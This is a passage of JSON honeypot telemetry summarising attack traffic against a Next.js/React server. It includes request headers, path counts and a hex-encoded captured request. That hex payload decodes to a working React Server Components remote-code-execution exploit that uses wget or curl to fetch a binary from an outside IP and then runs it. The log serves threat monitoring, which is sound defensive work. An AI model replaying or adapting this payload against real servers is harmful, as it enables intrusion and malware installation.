})()//\"}\r\n------WebKitFormBoundaryReactCVE--\r\n","sni":"","tls_cipher":"","tls_version":"","alpn":[],"url_path":"/","summary":"","payload_hex":"504f5354202f20485454502f312e310d0a486f73743a20<HONEYPOT>3a333030300d0a557365722d4167656e743a204d6f7a696c6c612f352e300d0a436f6e74656e742d4c656e6774683a20313336370d0a4163636570743a202a2f2a0d0a436f6e6e656374696f6e3a20636c6f73650d0a436f6e74656e742d547970653a206d756c7469706172742f666f726d2d646174613b20626f756e646172793d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a4e6578742d416374696f6e3a20780d0a4163636570742d456e636f64696e673a20677a69700d0a0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2230220d0a0d0a222431220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2231220d0a0d0a7b22737461747573223a227265736f6c7665645f6d6f64656c222c22726561736f6e223a302c225f726573706f6e7365223a222435222c2276616c7565223a227b5c227468656e5c223a5c2224343a6d61705c222c5c22305c223a7b5c227468656e5c223a5c222442335c227d2c5c226c656e6774685c223a317d222c227468656e223a2224323a7468656e227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2232220d0a0d0a22244033220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2233220d0a0d0a22220d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2234220d0a0d0a5b5d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356450d0a436f6e74656e742d446973706f736974696f6e3a20666f726d2d646174613b206e616d653d2235220d0a0d0a7b225f62756e646c6572436f6e666967223a7b7d2c225f6368756e6b73223a2224323a5f726573706f6e73653a5f6368756e6b73222c225f666f726d44617461223a7b22676574223a2224343a636f6e7374727563746f723a636f6e7374727563746f72227d2c225f707265666978223a222866756e6374696f6e28297b5c6e2020202020202020747279207b5c6e20202020202020202020202076617220726573203d2070726f636573732e6d61696e4d6f64756c652e72657175697265285c226368696c645f70726f636573735c22292e6578656353796e63285c226364202f746d7020325c75303033652f6465762f6e756c6c207c7c206364202f6465762f73686d20325c75303033652f6465762f6e756c6c207c7c206364202f3b20726d202d66202e663b202877676574202d71202d2d6e6f2d636865636b2d6365727469666963617465202d4f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e3531207c7c206375726c202d6b202d73202d6f202e6620687474703a2f2f322e32362e3132342e36373a3838392f6167757374696e353129205c75303032365c75303032362063686d6f64202b78202e66205c75303032365c7530303236202e2f2e665c22292e746f537472696e6728293b5c6e202020202020202020202020636f6e736f6c652e6c6f67285c225c5c6e5b2b5d2052434520524553554c543a5c5c6e5c22202b20726573293b5c6e2020202020202020202020207468726f77206e6577204572726f72285c225b2b5d2052434520535543434553533a205c22202b20726573293b5c6e20202020202020207d206361746368286529207b5c6e202020202020202020202020636f6e736f6c652e6c6f672865293b5c6e2020202020202020202020207468726f7720653b5c6e20202020202020207d5c6e202020207d2928292f2f227d0d0a2d2d2d2d2d2d5765624b6974466f726d426f756e6461727952656163744356452d2d0d0a","method":"POST","user_agent":"Mozilla/5.0","ja3":"","session":"66f36e9a-1cc2-4bfa-81f3-121ee31b45c1","seq":1,"duration_ms":101,"bytes_in":1605,"bytes_out":78}],"http_methods":[{"method":"POST","count":201},{"method":"GET","count":1}],"distinct_ports_total":11,"top_paths":[{"path":"/","count":193,"ports":4},{"path":"/picsdesc.xml","count":6,"ports":1},{"path":"/login","count":1,"ports":1},{"path":"/api/v1/validate/code","count":1,"ports":1},{"path":"/app/agents/v1/register","count":1,"ports":1}],"distinct_paths_total":5,"top_snis":[],"top_hosts":[],"top_alpns":[],"banners":[],"credentials":[],"header_profile":{"signature":["Accept","Accept-Encoding","Connection","Content-Length","Content-Type","Host","Next-Action","User-Agent"],"representative":[{"name":"Accept","value":"*/*","notable":false},{"name":"Accept-Encoding","value":"gzip","notable":false},{"name":"Connection","value":"close","notable":false},{"name":"Content-Length","value":"1365","notable":false},{"name":"Content-Type","value":"multipart/form-data; boundary=----WebKitFormBoundaryReactCVE","notable":true},{"name":"Host","value":"<HONEYPOT>:3000","notable":false},{"name":"Next-Action","value":"x","notable":false},{"name":"User-Agent","value":"Mozilla/5.0","notable":false}],"distinct_sets":1,"events_with_headers":10},"tags":[],"data_as_of":"2026-09-11T18:50:10.498963+00:00"}